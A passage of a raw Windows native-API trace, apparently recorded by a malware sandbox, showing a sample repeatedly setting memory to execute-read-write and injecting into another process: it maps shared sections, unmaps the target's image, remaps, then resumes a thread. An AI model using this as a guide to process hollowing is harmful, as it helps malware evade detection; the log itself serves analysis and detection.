BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.070] NtReadFile (in: FileHandle=0x3b0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x1eb8e0a0, Buffer=0x928a48, BufferLength=0x14200, ByteOffset=0x1eb8e010*=0, Key=0x0 | out: IoStatusBlock=0x1eb8e0a0, Buffer=0x928a48*) returned 0x0 [0378.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.093] NtClose (Handle=0x3b0) returned 0x0 [0378.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.258] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x16001) returned 0x93d050 [0378.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.799] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x928a48) returned 1 [0378.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.087] NtQueryInformationProcess (in: ProcessHandle=0x2f0, ProcessInformationClass=0x0, ProcessInformation=0x1eb8e404, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x1eb8e404, ReturnLength=0x0) returned 0x0 [0379.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.171] NtReadVirtualMemory (in: ProcessHandle=0x2f0, BaseAddress=0x573008, Buffer=0x1eb8efc8, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x0 | out: Buffer=0x1eb8efc8*, NumberOfBytesRead=0x0) returned 0x0 [0379.171] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x1eb8eaac*=0x1ecd0000, RegionSize=0x1eb8eab0, FreeType=0x8000) returned 0x0 [0379.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.254] NtReadVirtualMemory (in: ProcessHandle=0x2f0, BaseAddress=0x1270000, Buffer=0x93d050, NumberOfBytesToRead=0x16000, NumberOfBytesRead=0x0 | out: Buffer=0x93d050*, NumberOfBytesRead=0x0) returned 0x0 [0379.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.266] NtCreateSection (in: SectionHandle=0x1eb8f264, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x1eb8eab8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x1eb8f264*=0x3b0) returned 0x0 [0379.266] NtMapViewOfSection (in: SectionHandle=0x3b0, ProcessHandle=0xffffffff, BaseAddress=0x1eb8f260*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1eb8eab8*=0x2ca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x1eb8f260*=0x1ecd0000, SectionOffset=0x0, ViewSize=0x1eb8eab8*=0x2d000) returned 0x0 [0379.267] NtMapViewOfSection (in: SectionHandle=0x3b0, ProcessHandle=0x2f0, BaseAddress=0x1eb8ed20*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1eb8ef4c*=0x2ca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x1eb8ed20*=0x6f0000, SectionOffset=0x0, ViewSize=0x1eb8ef4c*=0x2d000) returned 0x0 [0379.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.539] NtCreateSection (in: SectionHandle=0x1eb8efc0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x1eb8eac8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x1eb8efc0*=0x3b4) returned 0x0 [0379.539] NtMapViewOfSection (in: SectionHandle=0x3b4, ProcessHandle=0xffffffff, BaseAddress=0x1eb8efc4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1eb8eac8*=0x16000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x1eb8efc4*=0x1ee60000, SectionOffset=0x0, ViewSize=0x1eb8eac8*=0x16000) returned 0x0 [0379.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.721] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x93d050) returned 1 [0379.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.008] NtUnmapViewOfSection (ProcessHandle=0x2f0, BaseAddress=0x1270000) returned 0x0 [0380.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.029] NtMapViewOfSection (in: SectionHandle=0x3b4, ProcessHandle=0x2f0, BaseAddress=0x1eb8efc8*=0x1270000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1eb8f1f4*=0x16000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x1eb8efc8*=0x1270000, SectionOffset=0x0, ViewSize=0x1eb8f1f4*=0x16000) returned 0x0 [0380.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.324] NtResumeThread (in: ThreadHandle=0x3a4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0380.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.424] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.435] NtProtectVirtualMemory 